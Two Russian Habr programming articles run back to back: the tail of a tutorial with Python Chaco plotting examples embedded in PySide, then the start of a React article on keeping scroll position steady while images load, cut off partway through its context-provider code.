> def \_plot\_default(self):
>
>
> # Контейнер/график, который отрисовывается по умолчанию
>
>
> return \_create\_plot\_component()
>
>
>
>
>
> # Закомментируем стандартное окно, в котором рисуются графики
>
>
> #class PlotFrame(DemoFrame):
>
>
> #
>
>
> # def \_create\_window(self):
>
>
> # # создает окно, в котором нужно отрисовать графики
>
>
> # return Window(self, -1, component=\_create\_plot\_component())
>
>
>
>
>
> class ChacoQWidget(QtGui.QWidget):
>
>
> def \_\_init\_\_(self, parent=None):
>
>
> QtGui.QWidget.\_\_init\_\_(self, parent)
>
>
> layout = QtGui.QVBoxLayout(self)
>
>
> frame = Demo()
>
>
> # Теперь нам нужно создать виджет, для чего вызываем функцию control,
>
>
> # без нее магия не работает :)
>
>
> ui = frame.edit\_traits(parent=self, kind='subpanel').control
>
>
> layout.addWidget(ui)
>
>
> layout.addWidget(QtGui.QPushButton("Hello Habrahabr"))
>
>
>
>
>
> if \_\_name\_\_ == "\_\_main\_\_":
>
>
> #demo\_main(PlotFrame, size=(800, 600), title="Financial plot example")
>
>
> app = QtGui.QApplication.instance()
>
>
> w = ChacoQWidget()
>
>
> w.resize(800, 600)
>
>
> w.show()
>
>
> app.exec\_()`
* ##### Выборка цветов для графиков (приложу анимацию, но на самом деле все меняется по скроллу мыши):
`> from numpy import arange, exp, sort
>
>
> from numpy.random import random
>
>
> from enable.example\_support import DemoFrame, demo\_main
>
>
> from enable.api import Component, ComponentEditor, Window
>
>
> from traits.api import HasTraits, Instance
>
>
> from traitsui.api import Item, Group, View
>
>
> from chaco.api import ArrayPlotData, ColorBar, \
>
>
> ColormappedSelectionOverlay, HPlotContainer, \
>
>
> jet, LinearMapper, Plot, gist\_earth
>
>
> from chaco.tools.api import PanTool, ZoomTool, RangeSelection, \
>
>
> RangeSelectionOverlay
>
>
>
>
>
> #===============================================================================
>
>
> # # Create the Chaco plot.
>
>
> #===============================================================================
>
>
> def \_create\_plot\_component():
>
>
>
>
>
> # Create some data
>
>
> numpts = 1000
>
>
> x = sort(random(numpts))
>
>
> y = random(numpts)
>
>
> color = exp(-(x\*\*2 + y\*\*2))
>
>
>
>
>
> # Create a plot data obect and give it this data
>
>
> pd = ArrayPlotData()
>
>
> pd.set\_data("index", x)
>
>
> pd.set\_data("value", y)
>
>
> pd.set\_data("color", color)
>
>
>
>
>
> # Create the plot
>
>
> plot = Plot(pd)
>
>
> plot.plot(("index", "value", "color"),
>
>
> type="cmap\_scatter",
>
>
> name="my\_plot",
>
>
> color\_mapper=gist\_earth,
>
>
> marker = "square",
>
>
> fill\_alpha = 0.5,
>
>
> marker\_size = 8,
>
>
> outline\_color = "black",
>
>
> border\_visible = True,
>
>
> bgcolor = "white")
>
>
>
>
>
> # Tweak some of the plot properties
>
>
> plot.title = "Colormapped Scatter Plot with Pan/Zoom Color Bar"
>
>
> plot.padding = 50
>
>
> plot.x\_grid.visible = False
>
>
> plot.y\_grid.visible = False
>
>
> plot.x\_axis.font = "modern 16"
>
>
> plot.y\_axis.font = "modern 16"
>
>
>
>
>
> # Add pan and zoom to the plot
>
>
> plot.tools.append(PanTool(plot, constrain\_key="shift"))
>
>
> zoom = ZoomTool(plot)
>
>
> plot.overlays.append(zoom)
>
>
>
>
>
> # Create the colorbar, handing in the appropriate range and colormap
>
>
> colorbar = ColorBar(index\_mapper=LinearMapper(range=plot.color\_mapper.range),
>
>
> color\_mapper=plot.color\_mapper,
>
>
> orientation='v',
>
>
> resizable='v',
>
>
> width=30,
>
>
> padding=20)
>
>
> colorbar.plot = plot
>
>
> colorbar.padding\_top = plot.padding\_top
>
>
> colorbar.padding\_bottom = plot.padding\_bottom
>
>
>
>
>
> # Add pan and zoom tools to the colorbar
>
>
> colorbar.tools.append(PanTool(colorbar, constrain\_direction="y", constrain=True))
>
>
> zoom\_overlay = ZoomTool(colorbar, axis="index", tool\_mode="range",
>
>
> always\_on=True, drag\_button="right")
>
>
> colorbar.overlays.append(zoom\_overlay)
>
>
>
>
>
> # Create a container to position the plot and the colorbar side-by-side
>
>
> container = HPlotContainer(plot, colorbar, use\_backbuffer=True, bgcolor="lightgray")
>
>
>
>
>
> return container
>
>
>
>
>
> #===============================================================================
>
>
> # Attributes to use for the plot view.
>
>
> size=(650,650)
>
>
> title="Colormapped scatter plot"
>
>
>
>
>
> #===============================================================================
>
>
> # # Demo class that is used by the demo.py application.
>
>
> #===============================================================================
>
>
> class Demo(HasTraits):
>
>
> plot = Instance(Component)
>
>
>
>
>
> traits\_view = View(
>
>
> Group(
>
>
> Item('plot', editor=ComponentEditor(size=size),
>
>
> show\_label=False),
>
>
> orientation = "vertical"),
>
>
> resizable=True, title=title
>
>
> )
>
>
>
>
>
> def \_plot\_default(self):
>
>
> return \_create\_plot\_component()
>
>
>
>
>
> demo = Demo()
>
>
>
>
>
> #===============================================================================
>
>
> # Stand-alone frame to display the plot.
>
>
> #===============================================================================
>
>
> class PlotFrame(DemoFrame):
>
>
>
>
>
> def \_create\_window(self):
>
>
> # Return a window containing our plots
>
>
> return Window(self, -1, component=\_create\_plot\_component())
>
>
>
>
>
> if \_\_name\_\_ == "\_\_main\_\_":
>
>
> demo\_main(PlotFrame, size=size, title=title)`
* ##### Графики в полярных координатах:
Код:
`> from numpy import arange, pi, sin, cos
>
>
> from enthought.enable.example\_support import DemoFrame, demo\_main
>
>
> from enthought.enable.api import Window
>
>
> from enthought.traits.api import false
>
>
> from enthought.chaco.api import create\_polar\_plot
>
>
>
>
>
> class MyFrame(DemoFrame):
>
>
> def \_create\_window(self):
>
>
> numpoints = 5000
>
>
> low = 0
>
>
> high = pi\*2
>
>
> theta = arange(low, high, (high-low) / numpoints)
>
>
> radius = sin(theta\*3)
>
>
>
>
>
> plot = create\_polar\_plot((radius,theta),color=(0.0,0.0,1.0,1), width=4.0)
>
>
> plot.bgcolor = "white"
>
>
> return Window(self, -1, component=plot)
>
>
>
>
>
> if \_\_name\_\_ == "\_\_main\_\_":
>
>
> demo\_main(MyFrame, size=(600,600), title="Simple Polar Plot")`
* ##### Различные полигоны:
`> import math
>
>
> from numpy import array, transpose
>
>
> from enable.example\_support import DemoFrame, demo\_main
>
>
> from enable.api import Component, ComponentEditor, Window
>
>
> from traits.api import HasTraits, Instance, Enum, CArray, Dict
>
>
> from traitsui.api import Item, Group, View
>
>
> from chaco.api import ArrayPlotData, HPlotContainer, Plot
>
>
> from chaco.base import n\_gon
>
>
> from chaco.tools.api import PanTool, ZoomTool, DragTool
>
>
>
>
>
> class DataspaceMoveTool(DragTool):
>
>
> """
>
>
> Modifies the data values of a plot. Only works on instances
>
>
> of BaseXYPlot or its subclasses
>
>
> """
>
>
>
>
>
> event\_state = Enum("normal", "dragging")
>
>
> \_prev\_pt = CArray
>
>
>
>
>
> def is\_draggable(self, x, y):
>
>
> return self.component.hittest((x,y))
>
>
>
>
>
> def drag\_start(self, event):
>
>
> data\_pt = self.component.map\_data((event.x, event.y), all\_values=True)
>
>
> self.\_prev\_pt = data\_pt
>
>
> event.handled = True
>
>
>
>
>
> def dragging(self, event):
>
>
> plot = self.component
>
>
> cur\_pt = plot.map\_data((event.x, event.y), all\_values=True)
>
>
> dx = cur\_pt[0] - self.\_prev\_pt[0]
>
>
> dy = cur\_pt[1] - self.\_prev\_pt[1]
>
>
> index = plot.index.get\_data() + dx
>
>
> value = plot.value.get\_data() + dy
>
>
> plot.index.set\_data(index, sort\_order=plot.index.sort\_order)
>
>
> plot.value.set\_data(value, sort\_order=plot.value.sort\_order)
>
>
> self.\_prev\_pt = cur\_pt
>
>
> event.handled = True
>
>
> plot.request\_redraw()
>
>
>
>
>
>
>
>
> #===============================================================================
>
>
> # # Create the Chaco plot.
>
>
> #===============================================================================
>
>
> def \_create\_plot\_component():
>
>
>
>
>
> # Use n\_gon to compute center locations for our polygons
>
>
> points = n\_gon(center=(0,0), r=4, nsides=8)
>
>
>
>
>
> # Choose some colors for our polygons
>
>
> colors = {3:0xaabbcc, 4:'orange', 5:'yellow', 6:'lightgreen',
>
>
> 7:'green', 8:'blue', 9:'lavender', 10:'purple'}
>
>
>
>
>
> # Create a PlotData object to store the polygon data
>
>
> pd = ArrayPlotData()
>
>
>
>
>
> # Create a Polygon Plot to draw the regular polygons
>
>
> polyplot = Plot(pd)
>
>
>
>
>
> # Store path data for each polygon, and plot
>
>
> nsides = 3
>
>
> for p in points:
>
>
> npoints = n\_gon(center=p, r=2, nsides=nsides)
>
>
> nxarray, nyarray = transpose(npoints)
>
>
> pd.set\_data("x" + str(nsides), nxarray)
>
>
> pd.set\_data("y" + str(nsides), nyarray)
>
>
> plot = polyplot.plot(("x"+str(nsides), "y"+str(nsides)),
>
>
> type="polygon",
>
>
> face\_color=colors[nsides],
>
>
> hittest\_type="poly")[0]
>
>
> plot.tools.append(DataspaceMoveTool(plot, drag\_button="right"))
>
>
> nsides = nsides + 1
>
>
>
>
>
> # Tweak some of the plot properties
>
>
> polyplot.padding = 50
>
>
> polyplot.title = "Polygon Plot"
>
>
>
>
>
> # Attach some tools to the plot
>
>
> polyplot.tools.append(PanTool(polyplot))
>
>
> zoom = ZoomTool(polyplot, tool\_mode="box", always\_on=False)
>
>
> polyplot.overlays.append(zoom)
>
>
>
>
>
> return polyplot
>
>
>
>
>
> #===============================================================================
>
>
> # Attributes to use for the plot view.
>
>
> size=(800,800)
>
>
> title="Polygon Plot"
>
>
>
>
>
> #===============================================================================
>
>
> # # Demo class that is used by the demo.py application.
>
>
> #===============================================================================
>
>
> class Demo(HasTraits):
>
>
> plot = Instance(Component)
>
>
>
>
>
> traits\_view = View(
>
>
> Group(
>
>
> Item('plot', editor=ComponentEditor(size=size),
>
>
> show\_label=False),
>
>
> orientation = "vertical"),
>
>
> resizable=True, title=title
>
>
> )
>
>
>
>
>
> def \_plot\_default(self):
>
>
> return \_create\_plot\_component()
>
>
>
>
>
> demo = Demo()
>
>
>
>
>
> #===============================================================================
>
>
> # Stand-alone frame to display the plot.
>
>
> #===============================================================================
>
>
> class PlotFrame(DemoFrame):
>
>
>
>
>
> def \_create\_window(self):
>
>
> # Return a window containing our plots
>
>
> return Window(self, -1, component=\_create\_plot\_component())
>
>
>
>
>
> if \_\_name\_\_ == "\_\_main\_\_":
>
>
> demo\_main(PlotFrame, size=size, title=title)`
* ##### Рентгеновские лучи:
`> from \_\_future\_\_ import with\_statement
>
>
> import numpy
>
>
> from traits.api import HasTraits, Instance, Enum
>
>
> from traitsui.api import View, Item
>
>
> from enable.api import ComponentEditor
>
>
> from chaco.api import Plot, ArrayPlotData, AbstractOverlay
>
>
> from enable.api import BaseTool
>
>
> from enable.markers import DOT\_MARKER, DotMarker
>
>
>
>
>
> class BoxSelectTool(BaseTool):
>
>
> """ Tool for selecting all points within a box
>
>
>
>
>
> There are 2 states for this tool, normal and selecting. While the
>
>
> left mouse button is down the metadata on the datasources will be
>
>
> updated with the current selected bounds.
>
>
>
>
>
> Note that the tool does not actually store the selected point, but the
>
>
> bounds of the box.
>
>
> """
>
>
>
>
>
> event\_state = Enum("normal", "selecting")
>
>
>
>
>
> def normal\_left\_down(self, event):
>
>
> self.event\_state = "selecting"
>
>
> self.selecting\_mouse\_move(event)
>
>
>
>
>
> def selecting\_left\_up(self, event):
>
>
> self.event\_state = "normal"
>
>
>
>
>
> def selecting\_mouse\_move(self, event):
>
>
> x1, y1 = self.map\_to\_data(event.x-25, event.y-25)
>
>
> x2, y2 = self.map\_to\_data(event.x+25, event.y+25)
>
>
>
>
>
> index\_datasource = self.component.index
>
>
> index\_datasource.metadata['selections'] = (x1, x2)
>
>
>
>
>
> value\_datasource = self.component.value
>
>
> value\_datasource.metadata['selections'] = (y1, y2)
>
>
>
>
>
> self.component.request\_redraw()
>
>
>
>
>
> def map\_to\_data(self, x, y):
>
>
> """ Returns the data space coordinates of the given x and y.
>
>
>
>
>
> Takes into account orientation of the plot and the axis setting.
>
>
> """
>
>
>
>
>
> plot = self.component
>
>
> if plot.orientation == "h":
>
>
> index = plot.x\_mapper.map\_data(x)
>
>
> value = plot.y\_mapper.map\_data(y)
>
>
> else:
>
>
> index = plot.y\_mapper.map\_data(y)
>
>
> value = plot.x\_mapper.map\_data(x)
>
>
>
>
>
> return index, value
>
>
>
>
>
>
>
>
> class XRayOverlay(AbstractOverlay):
>
>
> """ Overlay which draws scatter markers on top of plot data points.
>
>
>
>
>
> This overlay should be combined with a tool which updates the
>
>
> datasources metadata with selection bounds.
>
>
> """
>
>
>
>
>
> marker = DotMarker()
>
>
>
>
>
> def overlay(self, component, gc, view\_bounds=None, mode='normal'):
>
>
> x\_range = self.\_get\_selection\_index\_screen\_range()
>
>
> y\_range = self.\_get\_selection\_value\_screen\_range()
>
>
>
>
>
> if len(x\_range) == 0:
>
>
> return
>
>
>
>
>
> x1, x2 = x\_range
>
>
> y1, y2 = y\_range
>
>
>
>
>
> with gc:
>
>
> gc.set\_alpha(0.8)
>
>
> gc.set\_fill\_color((1.0,1.0,1.0))
>
>
> gc.rect(x1, y1, x2-x1, y2-y1)
>
>
> gc.draw\_path()
>
>
>
>
>
> pts = self.\_get\_selected\_points()
>
>
> if len(pts) == 0:
>
>
> return
>
>
> screen\_pts = self.component.map\_screen(pts)
>
>
> if hasattr(gc, 'draw\_marker\_at\_points'):
>
>
> gc.draw\_marker\_at\_points(screen\_pts, 3, DOT\_MARKER)
>
>
> else:
>
>
> gc.save\_state()
>
>
> for sx,sy in screen\_pts:
>
>
> gc.translate\_ctm(sx, sy)
>
>
> gc.begin\_path()
>
>
> self.marker.add\_to\_path(gc, 3)
>
>
> gc.draw\_path(self.marker.draw\_mode)
>
>
> gc.translate\_ctm(-sx, -sy)
>
>
> gc.restore\_state()
>
>
>
>
>
> def \_get\_selected\_points(self):
>
>
> """ gets all the points within the bounds defined in the datasources
>
>
> metadata
>
>
> """
>
>
> index\_datasource = self.component.index
>
>
> index\_selection = index\_datasource.metadata['selections']
>
>
> index = index\_datasource.get\_data()
>
>
>
>
>
> value\_datasource = self.component.value
>
>
> value\_selection = value\_datasource.metadata['selections']
>
>
> value = value\_datasource.get\_data()
>
>
>
>
>
> x\_indices = numpy.where((index > index\_selection[0]) & (index < index\_selection[-1]))
>
>
> y\_indices = numpy.where((value > value\_selection[0]) & (value < value\_selection[-1]))
>
>
>
>
>
> indices = list(set(x\_indices[0]) & set(y\_indices[0]))
>
>
>
>
>
> sel\_index = index[indices]
>
>
> sel\_value = value[indices]
>
>
>
>
>
> return zip(sel\_index, sel\_value)
>
>
>
>
>
> def \_get\_selection\_index\_screen\_range(self):
>
>
> """ maps the selected bounds which were set by the tool into screen
>
>
> space. The screen space points can be used for drawing the overlay
>
>
> """
>
>
> index\_datasource = self.component.index
>
>
> index\_mapper = self.component.index\_mapper
>
>
> index\_selection = index\_datasource.metadata['selections']
>
>
> return tuple(index\_mapper.map\_screen(numpy.array(index\_selection)))
>
>
>
>
>
> def \_get\_selection\_value\_screen\_range(self):
>
>
> """ maps the selected bounds which were set by the tool into screen
>
>
> space. The screen space points can be used for drawing the overlay
>
>
> """
>
>
> value\_datasource = self.component.value
>
>
> value\_mapper = self.component.value\_mapper
>
>
> value\_selection = value\_datasource.metadata['selections']
>
>
> return tuple(value\_mapper.map\_screen(numpy.array(value\_selection)))
>
>
>
>
>
> class PlotExample(HasTraits):
>
>
>
>
>
> plot = Instance(Plot)
>
>
>
>
>
> traits\_view = View(Item('plot', editor=ComponentEditor()),
>
>
> width=600, height=600)
>
>
>
>
>
> def \_\_init\_\_(self, index, value, \*args, \*\*kw):
>
>
> super(PlotExample, self).\_\_init\_\_(\*args, \*\*kw)
>
>
>
>
>
> plot\_data = ArrayPlotData(index=index)
>
>
> plot\_data.set\_data('value', value)
>
>
>
>
>
> self.plot = Plot(plot\_data)
>
>
> line = self.plot.plot(('index', 'value'))[0]
>
>
>
>
>
> line.overlays.append(XRayOverlay(line))
>
>
> line.tools.append(BoxSelectTool(line))
>
>
>
>
>
> index = numpy.arange(0, 25, 0.25)
>
>
> value = numpy.sin(index) + numpy.arange(0, 10, 0.1)
>
>
>
>
>
> example = PlotExample(index, value)
>
>
> example.configure\_traits()`
* ##### Различные маркеры с выделением:
`> from numpy import arange, sort, compress, arange
>
>
> from numpy.random import random
>
>
> from enable.example\_support import DemoFrame, demo\_main
>
>
> from enable.api import Component, ComponentEditor, Window
>
>
> from traits.api import HasTraits, Instance
>
>
> from traitsui.api import Item, Group, View
>
>
> from chaco.api import AbstractDataSource, ArrayPlotData, Plot, \
>
>
> HPlotContainer, LassoOverlay
>
>
> from chaco.tools.api import LassoSelection, ScatterInspector
>
>
>
>
>
> #===============================================================================
>
>
> # # Create the Chaco plot.
>
>
> #===============================================================================
>
>
> def \_create\_plot\_component():
>
>
>
>
>
> # Create some data
>
>
> npts = 2000
>
>
> x = sort(random(npts))
>
>
> y = random(npts)
>
>
>
>
>
> # Create a plot data obect and give it this data
>
>
> pd = ArrayPlotData()
>
>
> pd.set\_data("index", x)
>
>
> pd.set\_data("value", y)
>
>
>
>
>
> # Create the plot
>
>
> plot = Plot(pd)
>
>
> plot.plot(("index", "value"),
>
>
> type="scatter",
>
>
> name="my\_plot",
>
>
> marker="circle",
>
>
> index\_sort="ascending",
>
>
> color="red",
>
>
> marker\_size=4,
>
>
> bgcolor="white")
>
>
>
>
>
> # Tweak some of the plot properties
>
>
> plot.title = "Scatter Plot With Selection"
>
>
> plot.line\_width = 1
>
>
> plot.padding = 50
>
>
>
>
>
> # Right now, some of the tools are a little invasive, and we need the
>
>
> # actual ScatterPlot object to give to them
>
>
> my\_plot = plot.plots["my\_plot"][0]
>
>
>
>
>
> # Attach some tools to the plot
>
>
> lasso\_selection = LassoSelection(component=my\_plot,
>
>
> selection\_datasource=my\_plot.index)
>
>
> my\_plot.active\_tool = lasso\_selection
>
>
> my\_plot.tools.append(ScatterInspector(my\_plot))
>
>
> lasso\_overlay = LassoOverlay(lasso\_selection=lasso\_selection,
>
>
> component=my\_plot)
>
>
> my\_plot.overlays.append(lasso\_overlay)
>
>
>
>
>
> # Uncomment this if you would like to see incremental updates:
>
>
> #lasso\_selection.incremental\_select = True
>
>
>
>
>
> return plot
>
>
>
>
>
>
>
>
> #===============================================================================
>
>
> # Attributes to use for the plot view.
>
>
> size=(650,650)
>
>
> title="Scatter plot with selection"
>
>
> bg\_color="lightgray"
>
>
>
>
>
> #===============================================================================
>
>
> # # Demo class that is used by the demo.py application.
>
>
> #===============================================================================
>
>
> class Demo(HasTraits):
>
>
> plot = Instance(Component)
>
>
>
>
>
> traits\_view = View(
>
>
> Group(
>
>
> Item('plot', editor=ComponentEditor(size=size),
>
>
> show\_label=False),
>
>
> orientation = "vertical"),
>
>
> resizable=True, title=title
>
>
> )
>
>
>
>
>
> def \_selection\_changed(self):
>
>
> mask = self.index\_datasource.metadata['selection']
>
>
> print "New selection: "
>
>
> print compress(mask, arange(len(mask)))
>
>
> print
>
>
>
>
>
> def \_plot\_default(self):
>
>
> plot = \_create\_plot\_component()
>
>
>
>
>
> # Retrieve the plot hooked to the LassoSelection tool.
>
>
> my\_plot = plot.plots["my\_plot"][0]
>
>
> lasso\_selection = my\_plot.active\_tool
>
>
>
>
>
> # Set up the trait handler for the selection
>
>
> self.index\_datasource = my\_plot.index
>
>
> lasso\_selection.on\_trait\_change(self.\_selection\_changed,
>
>
> 'selection\_changed')
>
>
>
>
>
> return plot
>
>
>
>
>
> demo = Demo()
>
>
>
>
>
> #===============================================================================
>
>
> # Stand-alone frame to display the plot.
>
>
> #===============================================================================
>
>
> class PlotFrame(DemoFrame):
>
>
>
>
>
> index\_datasource = Instance(AbstractDataSource)
>
>
>
>
>
> def \_create\_window(self):
>
>
>
>
>
> component = \_create\_plot\_component()
>
>
>
>
>
> # Retrieve the plot hooked to the LassoSelection tool.
>
>
> my\_plot = component.plots["my\_plot"][0]
>
>
> lasso\_selection = my\_plot.active\_tool
>
>
>
>
>
> # Set up the trait handler for the selection
>
>
> self.index\_datasource = my\_plot.index
>
>
> lasso\_selection.on\_trait\_change(self.\_selection\_changed,
>
>
> 'selection\_changed')
>
>
>
>
>
> # Return a window containing our plots
>
>
> return Window(self, -1, component=component, bg\_color=bg\_color)
>
>
>
>
>
> def \_selection\_changed(self):
>
>
> mask = self.index\_datasource.metadata['selection']
>
>
> print "New selection: "
>
>
> print compress(mask, arange(len(mask)))
>
>
> print
>
>
>
>
>
>
>
>
> if \_\_name\_\_ == "\_\_main\_\_":
>
>
> demo\_main(PlotFrame, size=size, title=title)`
##### Чтобы посмотреть как Chaco реализует анимацию, загляните в папку ets/chaco/examples/updating\_plot
##### Chaco в HPGL-GUI
В HPGL-GUI нужно было строить гистограммы. Для этого одинаково подходили Matplotlib и Chaco. Выбор пал на Chaco, т.к. Matplotlib не поддерживал интеграцию в PySide.
Выглядит окно статистики вот так:
Код можно посмотреть тут:
[raw.github.com/Snegovikufa/HPGL-GUI/master/gui\_widgets/statistics\_window.py](https://raw.github.com/Snegovikufa/HPGL-GUI/master/gui_widgets/statistics_window.py)
P.S. Если нужно рассказать про встраивание в PyQt4 или PySide, то допишу.
UPD. Обновил пример финансового графика: добавил подробные комментарии и сделал встраивание в виджет PySide. | https://habr.com/ru/post/118280/ | null | ru | null |
# Контролируем scroll полностью или реализация события React: onRenderChildrenComplete
*Всем привет! Я фуллстек, пишу код для сервиса TolstoyComments. В процессе работы был накоплен ценный опыт, как решать разного рода задачи на React. Этим опытом я хочу поделиться.*
Бывало так, что после загрузки страницы, вам нужно сделать прокрутку экрана к заданному месту? Все ли всегда получалось с первого раза? И что делать если скролл все равно дергается в процессе загрузки страницы?
Ссылка на источник картинки https://donttakefake.com/otkuda-vzyalsya-mem-nelzya-prosto-tak-vzyat-i-rasskazyvaet-rezhisser-vlastelina-kolets/
Генератор мемов: iloveimg.comЭто пример самой комментируемой статьи на хабре когда скролл не с первого раза показывает нужный [комментарий](https://habr.com/ru/post/133473/comments/#comment_16449829)
Пример самой комментируемой статьи на хабре когда скролл не с первого раза показывает нужный комментарийВ примере я хотел показать, что даже на хабре это работает не с первого раза. Видно, что после инициализации страницы, нужный комментарий оказался в нужном месте, потом он куда-то улетел, а потом снова оказался в нужном месте.
Почему же так происходит?
-------------------------
Все дело в высоте содержимого над комментарием! Если в процессе отрисовки страницы изменится высота содержимого над комментарием, то позиционирование скролла будет потеряно.
Разберем более детально пример в начале статьи. Сначала загружается HTML и делается доскролл до нужного комментария. Потом скролл теряется, так как высота содержимого над комментарием изменилась и скролл уже показывает не туда куда надо. После этого происходит коррекция скролла и он снова начинает показывать куда надо. Здесь я делаю предположение, что возможно разработчики хабра это предусмотрели и на всякий случай сделали костыль, который срабатывает как раз в том случае если скролл все таки теряется.
Почему высота содержимого меняется?
-----------------------------------
Всему виной этот тег:`![]()`! (но не всегда!)
Самый простой случай, когда содержимое верстки может менять свою высоту связано с выводом картинок. Картинки в верстке имеют ширину и высоту и чаще всего их вывод делается адаптивным за счет css стилей. Чаще всего пользуются вот таким сочетанием стилей:
```
img {
height: auto;
max-width: 100%;
}
```
Это магическая конструкция заставляет браузеры пропорционально масштабировать изображение, под разную ширину экрана. Но чтобы она корректно работала нужно выполнить одно условие: нужно чтобы в теге img были прописаны исходные размеры изображения: ширина и высота (параметры width и height).
Взглянем на верстку картинок в комментариях на Хабре:
Как можно видеть, атрибутов width и height тут нет, а значить браузер не сможет корректно определить высоту содержимого страницы до того, как начнется загрузка самой картинки.
Получается, чтобы обойти проблему с выводом картинок нужно:
1. Либо заранее прописывать корректные значения width и height
2. Либо вешать на картинку события onload onerror и обрабатывать эти события чтобы узнать о том когда картинка загрузится или не загрузится.
А по другому никак?
Да конечно, есть еще вариант как сделано на хабре, я кстати тоже так сделал при разработке комментариев на портале myslo.ru ([пример ссылки на комментарий и отработки доскролла](https://myslo.ru/news/tula/2021-11-02-tulu-nakryl-gustoj-tuman-fotoreportazh#comment_t1InDIA2L0GkefrJ2yovlQ))
**setTimeout** и **setInterval** - решение на все случаи жизни!
С помощью этих функций происходит повторная **докрутка** скролла если с первого раза что-то пошло не так. Конечно это приводит к некрасивым сайд эффектам на странице.
Как избавиться от сайд эффектов?
--------------------------------
Все просто, нужно избавиться от динамического контента! Шучу конечно, на практике такое невозможно и это нужно как-то решать.
Самый простой пример реализации скролла до нужного элемента на react:
```
import { useLayoutEffect, useRef } from "react";
import "./styles.css";
export default function App() {
const h2ref = useRef(null);
useLayoutEffect(() => {
h2ref.current.scrollIntoView();
}, []);
return (
Hello CodeSandbox
=================
1. Start editing to see some magic happen!
------------------------------------------
2. Start editing to see some magic happen!
------------------------------------------
3. Start editing to see some magic happen!
------------------------------------------
4. Start editing to see some magic happen!
------------------------------------------
5. Start editing to see some magic happen!
------------------------------------------
);
}
```
Есть некоторый компонент, после инициализации которого происходит вызов useLayoutEffect и перемещение скролла. В этом примере у нас нет элементов, которые могут менять свою высоту в процессе рендеринга страницы. Поэтому доскролл будет работать корректно.
Пример доскролла до элемента на [codesandbox](https://codesandbox.io/s/scroll-to-element-bfqys).
Теперь добавим немного динамического контента
```
import { useLayoutEffect, useRef } from "react";
import "./styles.css";
export default function App() {
const h2ref = useRef(null);
const src = "https://hsto.org/webt/ow/wu/bm/owwubmq_kdfpalevoql9vhhryl8.jpeg";
const arr = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13].map(
(n) => src + "?t=" + Math.random().toString().substring(2)
);
useLayoutEffect(() => {
h2ref.current.scrollIntoView();
}, []);
return (
Hello CodeSandbox
=================
1. Start editing to see some magic happen!
------------------------------------------
{arr.map((n, i) => (
))}
2. Start editing to see some magic happen!
------------------------------------------
3. Start editing to see some magic happen!
------------------------------------------
4. Start editing to see some magic happen!
------------------------------------------
5. Start editing to see some magic happen!
------------------------------------------
);
}
```
Пример с подгрузкой картинок на [codesandbox](https://codesandbox.io/s/scroll-to-element-with-images-jh1z4)
Если внимательно посмотреть что будет происходить в этом примере то можно заметить как скролл сразу отображается на нужном месте но полоса скролла как-то странно уменьшается. Что же тут происходит?
Сначала происходит полная загрузка HTML. Потом браузер делает фокус скролла на нужном нам элементе. А потом происходит подгрузка картинок выше места скролла. Но поскольку все современные браузеры умные, то они автоматически двигает скролл так чтобы содержимое не смещалось относительно левого верхнего угла.
**Браузер пытается любой ценой сохранить нужное нам положение скролла. Иногда у него это получается, иногда нет.**
В случае использования scrollintoview браузер понимает на каком элементе нужно сохранить положение скролла до полной загрузки страницы, и поэтому положение скролла не теряется. Но что делать если у нас SPA и мы хотим реализовать восстановление положения скролла при переходе на шаг назад?
В этом случае, проблема в том что мы не можем использовать метод scrollintoview. Мы можем использовать window.scrollTo но этот метод уже не имеет такого умного поведения сохранения положения скролла.
Можно ли корректно восстановить скролл?
---------------------------------------
Для удобства я сделал вывод числового значения положения скролла и записал процесс обновления страницы в замедленном виде.
Страница загружается, потом происходит перемещение скролла на 1000 (как и нужно). Но потом скролл становится 1294 и даже 1589. Откуда такие значения скролла?
Исходный код:
```
import { useCallback, useEffect, useState } from "react";
import "./styles.css";
function DynamicBlock() {
const src = useState(
() => "https://hsto.org/webt/ow/wu/bm/owwubmq_kdfpalevoql9vhhryl8.jpeg" +
"?t=" +
Math.random().toString().substring(2)
);
return (
);
}
export default function App() {
const [scroll, setScroll] = useState(0);
const onScroll = useCallback(() => setScroll(Math.round(window.scrollY)), []);
useEffect(() => {
onScroll();
window.addEventListener("scroll", onScroll);
return () => window.removeEventListener("scroll", onScroll);
}, [onScroll]);
useEffect(() => window.scrollTo(0, 1000), []);
useEffect(() => setTimeout(() => window.scrollTo(0, 1000), 2000), []);
return (
1. Start editing to see some magic happen!
------------------------------------------
2. Start editing to see some magic happen!
------------------------------------------
3. Start editing to see some magic happen!
------------------------------------------
4. Start editing to see some magic happen!
------------------------------------------
5. Start editing to see some magic happen!
------------------------------------------
{scroll}
);
}
```
Пример с выводом текущего положения скролла, решенный через костыль [codesandbox](https://codesandbox.io/s/scroll-to-element-with-dynamic-jyego)
Разберем написанный код:
```
useEffect(() => window.scrollTo(0, 1000), []);
```
Эта строка должна восстанавливать положение скролла, но она не работает, так как на странице есть динамические компоненты с изменяемой высотой.
```
useEffect(() => setTimeout(() => window.scrollTo(0, 1000), 2000), []);
```
Эта строка - костыль, призванный решить проблемы, которые может не решить строка выше. Здесь весь вопрос в том какой нужно выставить таймер. А если у вас медленный интернет и страница за 2 секунды целиком не загрузится? Или здесь можно двигать скролл постоянно пока пользователь не начнет сам двигать скролл.
Реализация подобного костыля может быть разной, и может быть сложной, но проблема которую этот костыль должен решать одна - сделать правильное позиционирование скролла после загрузки всей страницы.
Меня такое решение не устраивает!
---------------------------------
Скролл дергается в процессе отрисовки страницы и это мягко говоря не красиво, а грубо говоря раздражает.
На этом месте уже можно сформулировать задачу:
* Дано, страница с динамическими элементами, которые могут менять свою высоту в процессе отрисовки.
* Нужно реализовать такой метод onRenderChildrenComplete чтобы он вызывался сразу после завершения отрисовки всех дочерних компонентов.
Самое просто решение - это реализовать во всех динамических компонентах событие onRenderComplete и передавать его через props. Это событие будет вызываться после полной отрисовки компонента. Но на практике можно столкнуться с множеством проблем так как в примере выше динамических компонентов может быть несколько.
А если динамический компонент добавлен через условие? Здесь могут возникнуть сложности.
Формулируя выше описанные требования я решил все реализовать через контекст:
```
// RenderContext.js
import { createContext } from "react";
const RenderContext = createContext({
onInit: () => {},
onRender: () => {}
});
export default RenderContext;
```
Здесь описана реализация заглушки для контекста.
```
// RenderContextProvider.js
import { useCallback, useRef, useState } from "react";
import RenderContext from "./RenderContext";
export default function RenderContextProvider(props) {
const { onRender } = props;
const countInit = useRef(0);
const countRender = useRef(0);
const onInitCallback = useCallback(() => {
countInit.current++;
}, []);
